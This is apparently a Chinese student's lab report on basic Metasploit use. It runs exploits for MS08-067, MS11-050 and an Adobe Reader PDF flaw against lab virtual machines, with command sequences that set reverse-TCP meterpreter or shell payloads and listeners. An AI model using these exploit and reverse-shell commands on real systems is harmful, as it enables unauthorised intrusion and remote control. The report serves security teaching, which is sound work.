20155308『网络对抗技术』Exp5 MSF基础应用
一、原理与实践说明
实践内容
本实践目标是掌握metasploit的基本应用方式，重点常用的三种攻击方式的思路。具体需要完成：
一个主动攻击实践，如ms08-067; （1分）
一个针对浏览器的攻击，如ms11-050；（1分）
一个针对客户端的攻击，如Adobe；（1分）
成功应用任何一个辅助模块。（0.5分）
以上四个小实践可不限于以上示例，并要求至少有一个是和其他所有同学不一样的，否则扣除0.5分。
基础问题回答
- 用自己的话解释什么是
exploit,payload,encode？
exploit：Exploit 的英文意思就是利用，它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用)。有Exploit就肯定有漏洞。payload：病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做"有效负载"(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情，并且能够执行动作包括破坏文件删除文件，向病毒的作者或者任意的接收者发送敏感信息，以及提供通向被感染计算机的后门。encode：编码，编制成计算机语言
实践内容
目录
- 主动攻击：ms08_067漏洞攻击
- 对浏览器攻击：ms10_046漏洞攻击
- 对Adobe的漏洞攻击：adobe_toolbutton
- 尝试利用漏洞对win7系统进行攻击
Windows服务渗透攻击——MS08-067安全漏洞
攻击机：Kali(IP地址:192.168.91.135)
靶机： windows XP SP3(English)(IP地址:192.168.91.134)
在攻击机kali输入msfconsole进入控制台，依次输入以下指令：
msf > use exploit/windows/smb/ms08_067_netapimsf exploit(windows/smb/ms08_067_netapi) > show payloadsmsf exploit(windows/smb/ms08_067_netapi) > set payload generic/shell_reverse_tcp//tcp反向回连msf exploit(windows/smb/ms08_067_netapi) > set LHOST 192.168.91.135//攻击机ipmsf exploit(windows/smb/ms08_067_netapi) > set LPORT 5308//攻击端口msf exploit(windows/smb/ms08_067_netapi) > set RHOST 192.168.91.134//靶机ip，特定漏洞端口已经固定msf exploit(windows/smb/ms08_067_netapi) > set target 0//自动选择目标系统类型，匹配度较高msf exploit(windows/smb/ms08_067_netapi) > exploit//攻击
- 建立会话，攻击成功结果如下：
针对浏览器的攻击：ms11_050
攻击机：kali (IP地址:192.168.91.135)
靶机：WindowsXP Professional sp2/Windows7专业版 (IP地址:192.168.91.136)
在攻击机kali输入msfconsole进入控制台，依次输入以下指令：
msf > use windows/browser/ms11_050_mshtml_cobjectelementinfo指令查看该模块的信息
- targets信息
- options信息
msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_tcp//http反向回连msf exploit(ms11_050_cobjectelement) > set LHOST 192.168.91.135//攻击机ipmsf exploit(ms11_050_cobjectelement) > set LPORT 5308//攻击端口固定msf exploit(ms11_050_cobjectelement) > set URIPATH baidu//统一资源标识符路径设置set target 1msf exploit(ms11_050_cobjectelement) > exploit
- 攻击成功后会有靶机需要访问的网址
- 但是不知道一直回连不成功,一直再试，也不知道为啥？？看了我们小组长的博客，我学习了新的浏览器攻击方式，见下面。
针对浏览器的攻击：MS10_002_aurora漏洞攻击
针对Adobe Reader软件的渗透攻击——adobe_toolbutton
攻击机：kali
靶机：windowsXP Professional sp2
在攻击机kali输入msfconsole进入控制台，依次输入以下指令：
先用
search adobe得知此漏洞所在的模块
- 选择一个模块
- 用
show targets查看可以被攻击的靶机的操作系统型号
msf exploit(adobe_cooltype_sing) > set payload windows/meterpreter/reverse_tcp //tcp反向回连msf exploit(adobe_cooltype_sing) > set LHOST 192.168.91.135//攻击机ipmsf exploit(adobe_cooltype_sing) > set LPORT 5308//攻击端口msf exploit(adobe_cooltype_sing) > set FILENAME 5308hwf.pdf//设置生成pdf文件的名字msf exploit(adobe_cooltype_sing) > exploit//攻击
- 找到5308hwf.pdf文件
- 将文件放到靶机上
在kali上进入监听模块，输入以下命令：
msf > use exploit/multi/handler//进入监听模块msf exploit(handler) > set payload windows/meterpreter/reverse_tcp//tcp反向连接msf exploit(handler) > set LHOST 192.168.91.135//攻击机ipmsf exploit(handler) > set LPORT 5308//攻击端口固定msf exploit(handler) > exploit
- 发现已经获取了被攻击者权力，可以对其进行操作
- 若关闭pdf文件，则失去权限，攻击失败
成功应用任何一个辅助模块
实验感想
本次实验通过通过MSF的攻击模块对计算机进行各种攻击方法的实践，比前几次的攻击更加的系统化，同时攻击的方法更加深入。通过最后一个板块的研究，使我将学习理论知识转化为自我实践过程。
在其中某些模块的学习中，总是会有攻击不成功的地方，每当不成功，我就很懊恼，为啥总是很别人的不一样。但是在课上听到老师说，攻击不成功是很正常的事情，我突然感觉到了信心。然后通过查找学长学姐或是网上的解决方法，不断解决问题，最后成功，感觉很有成就感。